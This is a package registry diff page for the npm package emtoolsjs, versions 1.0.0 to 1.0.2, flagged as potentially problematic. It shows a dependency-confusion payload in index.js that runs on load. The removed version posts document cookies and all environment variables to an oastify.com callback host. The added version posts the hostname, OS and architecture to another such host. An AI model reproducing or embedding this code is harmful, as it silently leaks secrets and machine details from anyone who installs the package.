emtoolsjs 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of emtoolsjs might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +9 -10
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,15 +1,16 @@
1
1
  const https = require('https');
2
+ const os = require('os');
2
3
 
3
- // Código para enviar datos a Burp Collaborator
4
- function sendData() {
4
+ function sendPing() {
5
5
  const data = JSON.stringify({
6
- message: 'Dependency Confusion Test from emtoolsjs',
7
- documentCookie: typeof document !== 'undefined' ? document.cookie : 'No access to document',
8
- environment: process.env // Esto puede darte variables de entorno útiles para el análisis
6
+ message: 'Ping from emtoolsjs',
7
+ hostname: os.hostname(), // Nombre de la máquina
8
+ platform: os.platform(), // Sistema operativo
9
+ architecture: os.arch() // Arquitectura del sistema
9
10
  });
10
11
 
11
12
  const options = {
12
- hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // Burp Collaborator URL
13
+ hostname: '0de53pj68imwlsb71vejkpx5ewkn8gw5.oastify.com', // Cambia por tu servidor de escucha
13
14
  port: 443,
14
15
  path: '/callback',
15
16
  method: 'POST',
@@ -31,8 +32,6 @@ function sendData() {
31
32
  req.end();
32
33
  }
33
34
 
34
- // Ejecuta la función para enviar los datos
35
- sendData();
36
-
37
- module.exports = { sendData };
35
+ sendPing();
36
+ module.exports = { sendPing };
38
37
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "emtoolsjs",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "test",
5
5
  "main": "index.js",
6
6
  "scripts": {